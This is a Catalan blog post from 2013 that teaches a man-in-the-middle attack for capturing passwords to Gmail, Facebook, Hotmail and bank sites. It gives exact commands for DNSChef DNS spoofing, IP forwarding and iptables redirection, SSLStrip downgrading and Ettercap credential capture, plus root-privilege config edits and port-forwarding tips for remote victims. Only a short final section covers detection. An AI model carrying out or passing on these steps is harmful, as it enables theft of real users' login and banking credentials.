Captura de contrasenyes en protocol HTTPS (SSL) mitjançant DNS Spoofing

Introducció

En aquest atac el que farem és realitzar un atac MiM (Man in the Middle) utilitzant DNS Spoofing (suplantació del servei DNS) I capturar el tràfic SSL, aconseguint així contrasenyes de llocs web com gMail, FaceBook, Hotmail, bancs, etc.

Atac

Per a realitzar-ho necessitarem un equip víctima on poguem modificar la seva configuració de DNS I un equip atacant amb BackTrack 5 R3.

Primer de tot prepararem el servei DNS per a fer la suplantació. Per a fer-ho emprarem DNSChef que ens permetrà re-dirigir una part de les resolucions de noms de domini cap a una IP concreta.

python dnschef.py –interface=192.168.1.7 –fakeip=192.168.1.7

–interface: IP de la interfície que posarem a l’escolta de peticions DNS I que serà la que prèviament haguem introduït al ordinador víctima.

–fakeip: IP que retornarà el dnschef com a resolució de domini. Si la víctima és remota caldrà introduir la IP pública del atacant.

–truedomains: Dominis que resoldrà la seva IP real (cal veure si sense aquesta opció funciona).

Tot segui farem que el nostre equip permeti que el tràfic de xarxa re-dirigit del client continuï el seu curs normal, de manera que la víctima no experimenti cap mal-funcionament en la connexió.

echo 1 > /proc/sys/net/ipv4/ip_forward

iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 10000

També caldrà, en cas de ser un atac remot, redirigir els ports 53 (DNS) i 80 (HTTP) del nostre router cap a la màquina atacant.

Per a acabar de preparar la màquina atacant ens mancarà fer que el tràfic SSL (en aquest cas en centrem en el HTTPS) vagi en text clar des de l’atacant fins a la víctima I xifrat des de l’atacant fins al servidor legítim. Això ho farem mitjançant SSLStrip I la seva opció -a (tots els tipus de tràfic).

python sslstrip.py -a

Ara ja tan sols resta començar a capturar el tràfic I les contrasenyes. Per a fer-ho farem servir ETTERCAP ja que ens permetrà tenir una visió molt clara dels usuari I passwords capturats. Malauradament cal una modificació a la configuració per defecte de Etterap, per a fer-la modificarem l’arxiu /usr/local/etc/etter.conf I farem els canvis següents:

Modificar els paràmetres ec_uid I ec_gid.

[privs]

ec_uid = 0 #ec_uid = 65534 # nobody is the default

ec_gid = 0 #ec_gid = 65534 # nobody is the default

I des-comentar les línies corresponents a l’ús de ip_tables

#####################################

# redir_command_on/off

#####################################

# you must provide a valid script for your operating system in order to have

# the SSL dissection available

# note that the cleanup script is executed without enough privileges (because

# they are dropped on startup). so you have to either: provide a setuid program

# or set the ec_uid to 0, in order to be sure the cleanup script will be

# executed properly

# NOTE: this script is executed with an execve(), so you can’t use pipes or

# output redirection as if you were in a shell. We suggest you to make a script if

# you need those commands.

#—————

# Linux

#—————

# if you use ipchains:

#redir_command_on = “ipchains -A input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT %rport”

#redir_command_off = “ipchains -D input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT %rport”

# if you use iptables:
   redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
   redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

Executem Ettercap de manera que tan sols aparegui els paquets en mode text (T) sense capçaleres (q) I mitjançant l’interficie eth0 (I)

ettercap -T -q -i eth0

Amb una mica de sort en uns minuts començaran a aparèixer els password per pantalla. Si necessitem deixar l’atac força estona en funcionament és convenient re-dirigir la sortida de Ettercap cap a un arxiu.

Detecció

Aquest tipus d’atac tan sols es pot detectar per un dels mètodes següents:

  • No ús del protocol https. A la URL podrem veure que no s’utilitza el protocol xifrat https. Aquest és possiblement el mètode més senzill per a detectar l’atac.

  • Resolució de domini a IP anòmala: Si fem ping al domini veurem que la IP que resol el servidor DNS no és la normal o fins i tot que està dins de la nostra xarxa interna.

  • Modificació dels paràmetres de xarxa: Finalment si verifiquem els paràmetres de DNS podrem detectar la modificació d’aquest paràmetre per un que no encaixa dins de l’estructura de la nostra xarxa local.

  • Amb TraceRoute veuriem un salt corresponent al host atacant.
Advertisements

~ per madyyelf a 18 Octubre 2013.